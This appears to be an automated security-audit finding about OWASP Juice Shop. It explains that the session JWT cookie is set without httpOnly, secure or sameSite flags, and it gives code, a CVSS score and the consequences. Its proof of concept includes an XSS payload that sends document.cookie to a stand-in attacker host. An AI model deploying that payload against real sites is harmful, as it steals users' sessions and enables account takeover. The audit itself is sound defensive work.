agentggagentgg
Back to all findings
MEDIUMconfirmedsession-cookie-configinsecure-session-cookie05d6dd7bf423

Session token cookie set without httpOnly / secure / sameSite

`res.cookie('token', token)` in updateAuthenticatedUsers writes the auth JWT to a cookie with no security attributes, leaving it readable by injected JavaScript, sent over HTTP, and attached to cross-site requests.

Filelib/insecurity.ts
Lines193193
Confidence
90%
File statusvalidated
Details
jwt.verify(token, publicKey, (err: Error | null, decoded: any) => {
  if (err === null) {
    if (authenticatedUsers.get(token) === undefined) {
      authenticatedUsers.put(token, decoded)
      res.cookie('token', token)   // <-- no options
    }
  }
})

The cookie name token clearly identifies it as the authentication cookie (the same value used by req.cookies.token two lines above). It is written via Express res.cookie(name, value) with no options object, so Express applies its defaults: HttpOnly=false, Secure=false, SameSite unset.

Consequences:

  • HttpOnly missing → any XSS on the application reads document.cookie and exfiltrates the JWT (Juice Shop has multiple XSS sinks).
  • Secure missing → the cookie is sent in plain text over HTTP, exposing it to network attackers.
  • SameSite missing → the cookie is attached on cross-site requests, enabling CSRF.
  • No maxAge/expires → behaves as a session cookie tied to the browser lifetime regardless of intended JWT TTL.
Proof of concept
  1. Log in as any user; observe Set-Cookie: token=<jwt> with no flags.
  2. Trigger any reflected/stored XSS (e.g. the well-known Juice Shop DOM XSS in the search bar) with payload <img src=x onerror="fetch('//attacker/?c='+document.cookie)">.
  3. The attacker receives the JWT and reuses it to impersonate the victim.
Impact

Session theft via XSS, cookie capture over plain HTTP, and cross-site request forgery against authenticated endpoints.

Validation
confirmed

The code at res.cookie('token', token) in updateAuthenticatedUsers passes no options object, so Express applies defaults (HttpOnly=false, Secure=false, SameSite unset) for an authentication JWT cookie. This matches the detector's description exactly: the JWT becomes accessible to document.cookie (XSS theft), sent over plaintext HTTP, and attached to cross-site requests. Per the scope rules, Juice Shop must be evaluated as a real production app, so this is a confirmed insecure-session-cookie issue.

CVSS 3.1
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
Base score: 6.8 · MEDIUM

The res.cookie('token', token) call in updateAuthenticatedUsers emits the JWT with HttpOnly/Secure/SameSite all unset, so the bug is exploitable remotely (AV:N) but only when chained with a separate condition — an existing XSS sink, a network MITM on an HTTP hop, or a CSRF-bait page — making AC:H and UI:R appropriate (a victim must browse to the attacker's page or an XSS-tainted view). The attacker themselves needs no account (PR:N); they harvest a victim's token cookie and replay it. Successful theft yields the victim's full JWT, which authenticatedUsers.get(token) and isAuthorized() accept for any action the user can perform, giving C:H/I:H within the same app authority (S:U); no DoS primitive is introduced (A:N).

References